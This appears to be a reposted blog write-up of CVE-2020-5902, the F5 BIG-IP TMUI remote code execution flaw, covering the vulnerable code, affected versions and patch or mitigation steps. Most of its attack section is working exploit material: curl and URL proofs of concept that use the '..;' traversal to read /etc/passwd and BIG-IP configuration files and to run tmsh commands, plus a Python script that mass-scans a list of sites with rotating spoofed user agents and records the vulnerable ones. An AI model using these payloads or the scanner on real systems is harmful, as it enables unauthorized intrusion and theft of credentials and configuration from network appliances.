CVE-2020-5902 BIG-IP RCE vulnerability reproduction & exp

Others 2021-03-21 14:11:29 views: null

 

0x01 Vulnerability Brief

F5 BIG-IP is an application delivery platform that integrates traffic management, DNS, inbound and outbound rules, web application firewall, web gateway, load balancing and other functions of F5 in the United States. There is a remote code execution vulnerability in a specific page of the Traffic Management User Page (TMUI)/Configuration Utility of the F5 BIG-IP product.

An unauthorized remote attacker can cause arbitrary Java code execution by sending a specially crafted request packet to the page. And then control all the functions of F5 BIG-IP, including but not limited to: execute arbitrary system commands, enable/disable services, create/delete server-side files, etc.

0x02 vulnerability details

An unauthorized remote attacker can cause arbitrary Java code execution by sending a specially crafted request packet to the page. Further control  F5 BIG-IP of all functions, including but not limited to: execute arbitrary system commands, enable/disable services, create/delete server-side files, etc.

tmshCmd

When  tmshCmd the  servicemethod processes the request, the command parameters are not processed, and the WorkspaceUtils.runTmshCommand(cmd, request); method is directly called  to execute the command, which limits the execution delete,create,list,modify.

if ("POST".equalsIgnoreCase(request.getMethod())) {
            String[] cmdArray = command.split(" ");
            String operation = cmdArray[0];
            String module = cmdArray[2];
            if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")) && WHITELISTED_TMSH_MODULES.contains(module)) {
               try {
                  String[] args = new String[]{command};
                  Result result = Syscall.callElevated(Syscall.TMSH, args);
                  output = result.getOutput();
                  error = result.getError();
               } catch (CallException var11) {
                  logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var11.getMessage());
                  error = var11.getMessage();
               }
            } else {
               error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
}

fileRead

When  fileRead the  servicemethod processes the request, the  fileName parameters are not processed, and the WorkspaceUtils.readFile(fileName); method is directly called  to read the file.

fileSave

When  fileSave the  servicemethod is processing the request  fileName, the content parameters are not processed, and the WorkspaceUtils.saveFile(request); method is directly called  to upload the file.

0x03 Affected version

  • BIG-IP 15.x: 15.1.0/15.0.0
  • BIG-IP 14.x: 14.1.0 ~ 14.1.2
  • BIG-IP 13.x: 13.1.0 ~ 13.1.3
  • BIG-IP 12.x: 12.1.0 ~ 12.1.5
  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

0x04 File read POC

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

0x05 code execution

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

0x06 Random site collection script batch test

Script code, written in python3, or download from github

import requests
from random import choice
import argparse
import json

import warnings
warnings.filterwarnings('ignore')#忽略SSL警告

USER_AGENTS = [
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
    "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
    "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
    "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
    "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
    "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
    "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]

headers = {}

def F5(url, i):
    #print(f'[{i}]')
    checkUrl = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
    headers["User-Agent"] = choice(USER_AGENTS)
    try:
        res = requests.get(checkUrl, headers=headers,timeout=3,verify=False)
        print(res.status_code)
        if res.status_code is 200:
            print('[{i} +++] The {url} has Vuln !!!!!!!!!!!!'.format(url=url,i=i)+'\n')
            with open('success.txt', 'a') as f1:
                    f1.write(url + '\n')
        else:
            print('[{i} xxx] The {url} Not has Vuln'.format(url=url,i=i)+'\n')
    except:
        print("{url} 连接超时\n".format(url=url))

def get_url():
    i = 1
    with open('urls.txt', 'r') as f:
        for line in f:
            url = line.replace('\n', '')
            if url[0:5] == 'https':
                url = url
            else:
                url = 'https://' + url
            F5(url, i)
            i += 1
if __name__ == '__main__':
        get_url()

0x07 repair suggestion

General repair suggestions:

Upgrade to the following version

  • BIG-IP 15.x: 15.1.0.4
  • BIG-IP 14.x: 14.1.2.6
  • BIG-IP 13.x: 13.1.3.4
  • BIG-IP 12.x: 12.1.5.2
  • BIG-IP 11.x: 11.6.5.2

Temporary repair suggestions:

The official suggestion can temporarily alleviate the impact through the following steps

1) Use the following command to log in to the corresponding system

tmsh

2) Edit  httpd the configuration file of the component

edit /sys httpd all-properties

3) The content of the file is as follows

include '
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
'

4) Save the file as follows

按下 ESC 并依次输入
:wq

5) Execute the command to refresh the configuration file

save /sys config

6) Restart httpd service

restart sys service httpd

And prohibit external IP access to the TMUI page

0x08 reference link

  1. Article: K52145254 – TMUI RCE vulnerability CVE-2020-5902
  2. BIG-IP application services, hardware and software | F5
  3. Add F5 BIG-IP TMUI Directory Traversal and File Upload RCE (CVE-2020-5902)
  4. CVE-2020-5902

Please indicate: Adminxe's Blog  »  CVE-2020-5902 BIG-IP RCE Vulnerability Reproduction&exp

 

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